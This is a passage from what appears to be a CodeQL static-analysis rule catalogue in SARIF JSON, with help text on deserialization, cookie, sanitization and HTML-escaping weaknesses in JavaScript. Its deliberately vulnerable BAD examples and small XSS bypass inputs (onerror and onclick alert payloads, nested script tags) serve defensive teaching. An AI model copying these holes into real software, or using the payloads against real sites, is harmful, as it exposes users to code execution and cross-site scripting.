[CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"},"properties":{"tags":["security","external/cwe/cwe-1333","external/cwe/cwe-730","external/cwe/cwe-400"],"description":"A regular expression that can require polynomial time\n              to match may be vulnerable to denial-of-service attacks.","id":"js/polynomial-redos","kind":"path-problem","name":"Polynomial regular expression used on uncontrolled data","precision":"high","problem.severity":"warning","security-severity":"7.5"}},{"id":"js/identity-replacement","name":"js/identity-replacement","shortDescription":{"text":"Replacement of a substring with itself"},"fullDescription":{"text":"Replacing a substring with itself has no effect and may indicate a mistake."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Replacement of a substring with itself\nReplacing a substring with itself has no effect and usually indicates a mistake, such as misspelling a backslash escape.\n\n\n## Recommendation\nExamine the string replacement to find and correct any typos.\n\n\n## Example\nThe following code snippet attempts to backslash-escape all double quotes in `raw` by replacing all instances of `\"` with `\\\"`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\"');\n\n```\nHowever, the replacement string `'\\\"'` is actually the same as `'\"'`, with `\\\"` interpreted as an identity escape, so the replacement does nothing. Instead, the replacement string should be `'\\\\\"'`:\n\n\n```javascript\nvar escaped = raw.replace(/\"/g, '\\\\\"');\n\n```\n\n## References\n* Mozilla Developer Network: [String escape notation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String#Escape_notation).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-116"],"description":"Replacing a substring with itself has no effect and may indicate a mistake.","id":"js/identity-replacement","kind":"problem","name":"Replacement of a substring with itself","precision":"very-high","problem.severity":"warning","security-severity":"5.0"}},{"id":"js/unsafe-deserialization","name":"js/unsafe-deserialization","shortDescription":{"text":"Deserialization of user-controlled data"},"fullDescription":{"text":"Deserializing user-controlled data may allow attackers to execute arbitrary code."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.load(req.params.data);\n  // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.safeLoad(req.params.data);\n  // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n","markdown":"# Deserialization of user-controlled data\nDeserializing untrusted data using any deserialization framework that allows the construction of arbitrary functions is easily exploitable and, in many cases, allows an attacker to execute arbitrary code.\n\n\n## Recommendation\nAvoid deserialization of untrusted data if at all possible. If the architecture permits it, then use formats like JSON or XML that cannot represent functions. When using YAML or other formats that support the serialization and deserialization of functions, ensure that the parser is configured to disable deserialization of arbitrary functions.\n\n\n## Example\nThe following example calls the `load` function of the popular `js-yaml` package on data that comes from an HTTP request and hence is inherently unsafe.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.load(req.params.data);\n  // ...\n});\n\n```\nUsing the `safeLoad` function instead (which does not deserialize YAML-encoded functions) removes the vulnerability.\n\n\n```javascript\nconst app = require(\"express\")(),\n  jsyaml = require(\"js-yaml\");\n\napp.get(\"load\", function(req, res) {\n  let data = jsyaml.safeLoad(req.params.data);\n  // ...\n});\n\n```\n\n## References\n* OWASP vulnerability description: [Deserialization of untrusted data](https://www.owasp.org/index.php/Deserialization_of_untrusted_data).\n* OWASP guidance on deserializing objects: [Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html).\n* Neal Poole: [Code Execution via YAML in JS-YAML Node.js Module](https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/).\n* Common Weakness Enumeration: [CWE-502](https://cwe.mitre.org/data/definitions/502.html).\n"},"properties":{"tags":["security","external/cwe/cwe-502"],"description":"Deserializing user-controlled data may allow attackers to\n              execute arbitrary code.","id":"js/unsafe-deserialization","kind":"path-problem","name":"Deserialization of user-controlled data","precision":"high","problem.severity":"warning","security-severity":"9.8"}},{"id":"js/clear-text-cookie","name":"js/clear-text-cookie","shortDescription":{"text":"Clear text transmission of sensitive cookie"},"fullDescription":{"text":"Sending sensitive information in a cookie without requring SSL encryption can expose the cookie to an attacker."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Clear text transmission of sensitive cookie\nCookies that are transmitted in clear text can be intercepted by an attacker. If sensitive cookies are intercepted, the attacker can read the cookie and use it to perform actions on the user's behalf.\n\n\n## Recommendation\nAlways transmit sensitive cookies using SSL by setting the `secure` attribute on the cookie.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be transmitted in clear text.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html).\n* Common Weakness Enumeration: [CWE-311](https://cwe.mitre.org/data/definitions/311.html).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n","markdown":"# Clear text transmission of sensitive cookie\nCookies that are transmitted in clear text can be intercepted by an attacker. If sensitive cookies are intercepted, the attacker can read the cookie and use it to perform actions on the user's behalf.\n\n\n## Recommendation\nAlways transmit sensitive cookies using SSL by setting the `secure` attribute on the cookie.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be transmitted in clear text.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html).\n* Common Weakness Enumeration: [CWE-311](https://cwe.mitre.org/data/definitions/311.html).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n"},"properties":{"tags":["security","external/cwe/cwe-614","external/cwe/cwe-311","external/cwe/cwe-312","external/cwe/cwe-319"],"description":"Sending sensitive information in a cookie without requring SSL encryption\n              can expose the cookie to an attacker.","id":"js/clear-text-cookie","kind":"problem","name":"Clear text transmission of sensitive cookie","precision":"high","problem.severity":"warning","security-severity":"5.0"}},{"id":"js/incomplete-multi-character-sanitization","name":"js/incomplete-multi-character-sanitization","shortDescription":{"text":"Incomplete multi-character sanitization"},"fullDescription":{"text":"A sanitizer that removes a sequence of characters may reintroduce the dangerous sequence."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Incomplete multi-character sanitization\nSanitizing untrusted input is a common technique for preventing injection attacks and other security vulnerabilities. Regular expressions are often used to perform this sanitization. However, when the regular expression matches multiple consecutive characters, replacing it just once can result in the unsafe text reappearing in the sanitized input.\n\nAttackers can exploit this issue by crafting inputs that, when sanitized with an ineffective regular expression, still contain malicious code or content. This can lead to code execution, data exposure, or other vulnerabilities.\n\n\n## Recommendation\nTo prevent this issue, it is highly recommended to use a well-tested sanitization library whenever possible. These libraries are more likely to handle corner cases and ensure effective sanitization.\n\nIf a library is not an option, you can consider alternative strategies to fix the issue. For example, applying the regular expression replacement repeatedly until no more replacements can be performed, or rewriting the regular expression to match single characters instead of the entire unsafe text.\n\n\n## Example\nConsider the following JavaScript code that aims to remove all HTML comment start and end tags:\n\n```javascript\n\nstr.replace(/<!--|--!?>/g, \"\");   \n\n```\nGiven the input string \"&lt;!&lt;!--- comment ---&gt;&gt;\", the output will be \"&lt;!-- comment --&gt;\", which still contains an HTML comment.\n\nOne possible fix for this issue is to apply the regular expression replacement repeatedly until no more replacements can be performed. This ensures that the unsafe text does not re-appear in the sanitized input, effectively removing all instances of the targeted pattern:\n\n```javascript\n\nfunction removeHtmlComments(input) {  \n  let previous;  \n  do {  \n    previous = input;  \n    input = input.replace(/<!--|--!?>/g, \"\");  \n  } while (input !== previous);  \n  return input;  \n}  \n\n```\n\n## Example\nAnother example is the following regular expression intended to remove script tags:\n\n```javascript\n\nstr.replace(/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/g, \"\");  \n\n```\nIf the input string is \"&lt;scrip&lt;script&gt;is removed&lt;/script&gt;t&gt;alert(123)&lt;/script&gt;\", the output will be \"&lt;script&gt;alert(123)&lt;/script&gt;\", which still contains a script tag.\n\nA fix for this issue is to rewrite the regular expression to match single characters (\"&lt;\" and \"&gt;\") instead of the entire unsafe text. This simplifies the sanitization process and ensures that all potentially unsafe characters are removed:\n\n```javascript\n\nfunction removeAllHtmlTags(input) {  \n  return input.replace(/<|>/g, \"\");  \n}\n\n```\nAnother potential fix is to use the popular `sanitize-html` npm library. It keeps most of the safe HTML tags while removing all unsafe tags and attributes.\n\n```javascript\n\nconst sanitizeHtml = require(\"sanitize-html\");\nfunction removeAllHtmlTags(input) {  \n  return sanitizeHtml(input);  \n}\n\n```\n\n## Example\nLastly, consider a path sanitizer using the regular expression `/\\.\\.\\//`:\n\n```javascript\n\nstr.replace(/\\.\\.\\//g, \"\");  \n\n```\nThe regular expression attempts to strip out all occurrences of `/../` from `str`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove.\n\nA possible fix for this issue is to use the \"sanitize-filename\" npm library for path sanitization. This library is specifically designed to handle path sanitization, and should handle all corner cases and ensure effective sanitization:\n\n```javascript\n\nconst sanitize = require(\"sanitize-filename\");  \n  \nfunction sanitizePath(input) {  \n  return sanitize(input);  \n}  \n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* Stack Overflow: [Removing all script tags from HTML with JS regular expression](https://stackoverflow.com/questions/6659351/removing-all-script-tags-from-html-with-js-regular-expression).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Incomplete multi-character sanitization\nSanitizing untrusted input is a common technique for preventing injection attacks and other security vulnerabilities. Regular expressions are often used to perform this sanitization. However, when the regular expression matches multiple consecutive characters, replacing it just once can result in the unsafe text reappearing in the sanitized input.\n\nAttackers can exploit this issue by crafting inputs that, when sanitized with an ineffective regular expression, still contain malicious code or content. This can lead to code execution, data exposure, or other vulnerabilities.\n\n\n## Recommendation\nTo prevent this issue, it is highly recommended to use a well-tested sanitization library whenever possible. These libraries are more likely to handle corner cases and ensure effective sanitization.\n\nIf a library is not an option, you can consider alternative strategies to fix the issue. For example, applying the regular expression replacement repeatedly until no more replacements can be performed, or rewriting the regular expression to match single characters instead of the entire unsafe text.\n\n\n## Example\nConsider the following JavaScript code that aims to remove all HTML comment start and end tags:\n\n```javascript\n\nstr.replace(/<!--|--!?>/g, \"\");   \n\n```\nGiven the input string \"&lt;!&lt;!--- comment ---&gt;&gt;\", the output will be \"&lt;!-- comment --&gt;\", which still contains an HTML comment.\n\nOne possible fix for this issue is to apply the regular expression replacement repeatedly until no more replacements can be performed. This ensures that the unsafe text does not re-appear in the sanitized input, effectively removing all instances of the targeted pattern:\n\n```javascript\n\nfunction removeHtmlComments(input) {  \n  let previous;  \n  do {  \n    previous = input;  \n    input = input.replace(/<!--|--!?>/g, \"\");  \n  } while (input !== previous);  \n  return input;  \n}  \n\n```\n\n## Example\nAnother example is the following regular expression intended to remove script tags:\n\n```javascript\n\nstr.replace(/<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/g, \"\");  \n\n```\nIf the input string is \"&lt;scrip&lt;script&gt;is removed&lt;/script&gt;t&gt;alert(123)&lt;/script&gt;\", the output will be \"&lt;script&gt;alert(123)&lt;/script&gt;\", which still contains a script tag.\n\nA fix for this issue is to rewrite the regular expression to match single characters (\"&lt;\" and \"&gt;\") instead of the entire unsafe text. This simplifies the sanitization process and ensures that all potentially unsafe characters are removed:\n\n```javascript\n\nfunction removeAllHtmlTags(input) {  \n  return input.replace(/<|>/g, \"\");  \n}\n\n```\nAnother potential fix is to use the popular `sanitize-html` npm library. It keeps most of the safe HTML tags while removing all unsafe tags and attributes.\n\n```javascript\n\nconst sanitizeHtml = require(\"sanitize-html\");\nfunction removeAllHtmlTags(input) {  \n  return sanitizeHtml(input);  \n}\n\n```\n\n## Example\nLastly, consider a path sanitizer using the regular expression `/\\.\\.\\//`:\n\n```javascript\n\nstr.replace(/\\.\\.\\//g, \"\");  \n\n```\nThe regular expression attempts to strip out all occurrences of `/../` from `str`. This will not work as expected: for the string `/./.././`, for example, it will remove the single occurrence of `/../` in the middle, but the remainder of the string then becomes `/../`, which is another instance of the substring we were trying to remove.\n\nA possible fix for this issue is to use the \"sanitize-filename\" npm library for path sanitization. This library is specifically designed to handle path sanitization, and should handle all corner cases and ensure effective sanitization:\n\n```javascript\n\nconst sanitize = require(\"sanitize-filename\");  \n  \nfunction sanitizePath(input) {  \n  return sanitize(input);  \n}  \n\n```\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* Stack Overflow: [Removing all script tags from HTML with JS regular expression](https://stackoverflow.com/questions/6659351/removing-all-script-tags-from-html-with-js-regular-expression).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020","external/cwe/cwe-080","external/cwe/cwe-116"],"description":"A sanitizer that removes a sequence of characters may reintroduce the dangerous sequence.","id":"js/incomplete-multi-character-sanitization","kind":"problem","name":"Incomplete multi-character sanitization","precision":"high","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/unsafe-html-expansion","name":"js/unsafe-html-expansion","shortDescription":{"text":"Unsafe expansion of self-closing HTML tag"},"fullDescription":{"text":"Using regular expressions to expand self-closing HTML tags may lead to cross-site scripting vulnerabilities."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Unsafe expansion of self-closing HTML tag\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `<div attr=\"{sanitized}\"/>` to `<div attr=\"{sanitized}\"></div>` may in fact cause cross-site scripting vulnerabilities.\n\n\n## Recommendation\nUse a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag.\n\n\n```javascript\nfunction expandSelfClosingTags(html) {\n\tvar rxhtmlTag = /<(?!img|area)(([a-z][^\\w\\/>]*)[^>]*)\\/>/gi;\n\treturn html.replace(rxhtmlTag, \"<$1></$2>\"); // BAD\n}\n\n```\nWhile it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe.\n\nHowever, the function is not safe. As an example, consider the following string:\n\n\n```html\n<div alt=\"\n<x\" title=\"/>\n<img src=url404 onerror=alert(1)>\"/>\n\n```\nWhen the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML.\n\n\n```html\n<div alt=\"\n<x\" title=\"></x\" >\n<img src=url404 onerror=alert(1)>\"/>\n\n```\n\n## References\n* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/)\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n","markdown":"# Unsafe expansion of self-closing HTML tag\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. But even a sanitized input can be dangerous to use if it is modified further before a browser treats it as HTML. A seemingly innocent transformation that expands a self-closing HTML tag from `<div attr=\"{sanitized}\"/>` to `<div attr=\"{sanitized}\"></div>` may in fact cause cross-site scripting vulnerabilities.\n\n\n## Recommendation\nUse a well-tested sanitization library if at all possible, and avoid modifying sanitized values further before treating them as HTML.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following function transforms a self-closing HTML tag to a pair of open/close tags. It does so for all non-`img` and non-`area` tags, by using a regular expression with two capture groups. The first capture group corresponds to the name of the tag, and the second capture group to the content of the tag.\n\n\n```javascript\nfunction expandSelfClosingTags(html) {\n\tvar rxhtmlTag = /<(?!img|area)(([a-z][^\\w\\/>]*)[^>]*)\\/>/gi;\n\treturn html.replace(rxhtmlTag, \"<$1></$2>\"); // BAD\n}\n\n```\nWhile it is generally known regular expressions are ill-suited for parsing HTML, variants of this particular transformation pattern have long been considered safe.\n\nHowever, the function is not safe. As an example, consider the following string:\n\n\n```html\n<div alt=\"\n<x\" title=\"/>\n<img src=url404 onerror=alert(1)>\"/>\n\n```\nWhen the above function transforms the string, it becomes a string that results in an alert when a browser treats it as HTML.\n\n\n```html\n<div alt=\"\n<x\" title=\"></x\" >\n<img src=url404 onerror=alert(1)>\"/>\n\n```\n\n## References\n* jQuery: [Security fixes in jQuery 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/)\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-079","external/cwe/cwe-116"],"description":"Using regular expressions to expand self-closing HTML\n              tags may lead to cross-site scripting vulnerabilities.","id":"js/unsafe-html-expansion","kind":"problem","name":"Unsafe expansion of self-closing HTML tag","precision":"very-high","problem.severity":"warning","security-severity":"6.1"}},{"id":"js/incomplete-html-attribute-sanitization","name":"js/incomplete-html-attribute-sanitization","shortDescription":{"text":"Incomplete HTML attribute sanitization"},"fullDescription":{"text":"Writing incompletely sanitized values to HTML attribute strings can lead to a cross-site scripting vulnerability."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Incomplete HTML attribute sanitization\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `\"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized.\n\nAs a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `\"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML.\n\n\n## Recommendation\nSanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `\"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `\" onclick=\"alert(42)` to inject JavaScript code into the response.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>/g, \"\"); // BAD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\nSanitizing the user-controlled data for `\"` helps prevent the vulnerability:\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>|&|\"/g, \"\"); // GOOD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n","markdown":"# Incomplete HTML attribute sanitization\nSanitizing untrusted input for HTML meta-characters is a common technique for preventing cross-site scripting attacks. Usually, this is done by escaping `<`, `>`, `&` and `\"`. However, the context in which the sanitized value is used decides the characters that need to be sanitized.\n\nAs a consequence, some programs only sanitize `<` and `>` since those are the most common dangerous characters. The lack of sanitization for `\"` is problematic when an incompletely sanitized value is used as an HTML attribute in a string that later is parsed as HTML.\n\n\n## Recommendation\nSanitize all relevant HTML meta-characters when constructing HTML dynamically, and pay special attention to where the sanitized value is used.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using HTML templates that are explicit about the values they treat as HTML.\n\n\n## Example\nThe following example code writes part of an HTTP request (which is controlled by the user) to an HTML attribute of the server response. The user-controlled value is, however, not sanitized for `\"`. This leaves the website vulnerable to cross-site scripting since an attacker can use a string like `\" onclick=\"alert(42)` to inject JavaScript code into the response.\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>/g, \"\"); // BAD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\nSanitizing the user-controlled data for `\"` helps prevent the vulnerability:\n\n\n```javascript\nvar app = require('express')();\n\napp.get('/user/:id', function(req, res) {\n\tlet id = req.params.id;\n\tid = id.replace(/<|>|&|\"/g, \"\"); // GOOD\n\tlet userHtml = `<div data-id=\"${id}\">${getUserName(id) || \"Unknown name\"}</div>`;\n\t// ...\n\tres.send(prefix + userHtml + suffix);\n});\n\n```\n\n## References\n* OWASP: [DOM based XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html).\n* OWASP: [XSS (Cross Site Scripting) Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html).\n* OWASP [Types of Cross-Site](https://owasp.org/www-community/Types_of_Cross-Site_Scripting).\n* Wikipedia: [Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting).\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"},"properties":{"tags":["security","external/cwe/cwe-079","external/cwe/cwe-116","external/cwe/cwe-020"],"description":"Writing incompletely sanitized values to HTML\n              attribute strings can lead to a cross-site\n              scripting vulnerability.","id":"js/incomplete-html-attribute-sanitization","kind":"path-problem","name":"Incomplete HTML attribute sanitization","precision":"high","problem.severity":"warning","security-severity":"6.1"}},{"id":"js/double-escaping","name":"js/double-escaping","shortDescription":{"text":"Double escaping or unescaping"},"fullDescription":{"text":"When escaping special characters using a meta-character like backslash or ampersand, the meta-character has to be escaped first to avoid double-escaping, and conversely it has to be unescaped last to avoid double-unescaping."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Double escaping or unescaping\nEscaping meta-characters in untrusted input is an important technique for preventing injection attacks such as cross-site scripting. One particular example of this is HTML entity encoding, where HTML special characters are replaced by HTML character entities to prevent them from being interpreted as HTML markup. For example, the less-than character is encoded as `&lt;` and the double-quote character as `&quot;`. Other examples include backslash-escaping for including untrusted data in string literals and percent-encoding for URI components.\n\nThe reverse process of replacing escape sequences with the characters they represent is known as unescaping.\n\nNote that the escape characters themselves (such as ampersand in the case of HTML encoding) play a special role during escaping and unescaping: they are themselves escaped, but also form part of the escaped representations of other characters. Hence care must be taken to avoid double escaping and unescaping: when escaping, the escape character must be escaped first, when unescaping it has to be unescaped last.\n\nIf used in the context of sanitization, double unescaping may render the sanitization ineffective. Even if it is not used in a security-critical context, it may still result in confusing or garbled output.\n\n\n## Recommendation\nUse a 